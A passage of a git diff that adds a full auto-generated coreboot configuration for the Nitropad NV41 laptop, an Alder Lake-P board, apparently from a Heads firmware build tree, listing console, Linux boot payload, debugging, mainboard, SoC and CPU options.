+CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_FIXED_UART_FOR_CONSOLE=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_CONSOLE_SYSTEM76_EC is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_SPD_READ_BY_WORD=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index acbdc0f21..85513d1dc 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -1,29 +1,878 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set CONFIG_VENDOR_NOVACUSTOM=y +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Not Applicable" +CONFIG_MAINBOARD_PART_NUMBER="nv40pz" CONFIG_MAINBOARD_VERSION="v2.1" +CONFIG_MAINBOARD_DIR="clevo/adl-p" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Notebook" CONFIG_CBFS_SIZE=0x1000000 # CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=24 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +# CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x28 +CONFIG_VARIANT_DIR="nv40pz" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_BOARD_CLEVO_ADLP_COMMON=y +CONFIG_BOARD_CLEVO_NV40PZ_BASE=y CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NV41" +CONFIG_CONSOLE_POST=y +# CONFIG_USE_PM_ACPI_TIMER is not set +CONFIG_TPM_PIRQ=0x27 +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" +CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0xc0000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_VBT_DATA_SIZE_KB=9 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=42 +CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" + +# +# Alder Lake P (2022) +# +# CONFIG_BOARD_NOVACUSTOM_NS5X_ADLP is not set CONFIG_BOARD_NOVACUSTOM_NV4X_ADLP=y + +# +# Tiger Lake U (2021) +# +# CONFIG_BOARD_NOVACUSTOM_NV4X_TGLU is not set +# CONFIG_BOARD_NOVACUSTOM_NS5X_TGLU is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x10000 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +CONFIG_COREBOOT_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=32768 +CONFIG_ROM_SIZE=0x02000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/alderlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_FSP_TEMP_RAM_SIZE=0x20000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe03e000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT=y +CONFIG_ACPI_BERT_SIZE=0x10000 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 +CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_SOC_INTEL_ALDERLAKE=y +CONFIG_SOC_INTEL_ALDERLAKE_PCH_P=y +CONFIG_SOC_INTEL_ALDERLAKE_TCSS_USB4_SUPPORT=y +CONFIG_ALDERLAKE_CAR_ENHANCED_NEM=y +CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 +CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 +CONFIG_IFD_CHIPSET="adl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_PCH_ROOT_PORTS=12 +CONFIG_MAX_CPU_ROOT_PORTS=3 +CONFIG_MAX_TBT_ROOT_PORTS=4 +CONFIG_MAX_ROOT_PORTS=12 +CONFIG_MAX_PCIE_CLOCK_SRC=10 +CONFIG_MAX_PCIE_CLOCK_REQ=10 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=127 +CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=38400000 +CONFIG_SOC_INTEL_UFS_CLK_FREQ_HZ=19200000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=7 +CONFIG_SOC_INTEL_I2C_DEV_MAX=8 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_UART_DEV_MAX=7 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Fsp.fd" +CONFIG_SOC_INTEL_ALDERLAKE_DEBUG_CONSENT=0 +CONFIG_DATA_BUS_WIDTH=128 +CONFIG_DIMMS_PER_CHANNEL=2 +CONFIG_MRC_CHANNEL_WIDTH=16 +CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y +CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y +CONFIG_SI_DESC_REGION="SI_DESC" +CONFIG_SI_DESC_REGION_SZ=4096 +# CONFIG_BUILDING_WITH_DEBUG_FSP is not set +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_FSP_PUBLISH_MBP_HOB=y +# CONFIG_INCLUDE_HSPHY_IN_FMAP is not set +CONFIG_HSPHY_FW_MAX_SIZE=0x8000 +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_INTEL_TME=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y +CONFIG_SOC_INTEL_UFS_OCP_TIMER_DISABLE=y +CONFIG_SOC_INTEL_UFS_LTR_DISQUALIFY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +CONFIG_CAR_HAS_SF_MASKS=y +CONFIG_COS_MAPPED_TO_MSB=y +CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y +CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y +CONFIG_CPU_SUPPORTS_INTEL_TME=y +# CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_SET_EOP=y +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_16=y +CONFIG_ME_SPEC=16 +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y +# CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y +CONFIG_PMC_IPC_ACPI_INTERFACE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y +# CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set +# CONFIG_ENABLE_TCSS_USB_DETECTION is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y +CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y +# CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set +CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y +# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set +CONFIG_SOC_INTEL_CRASHLOG=y + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y 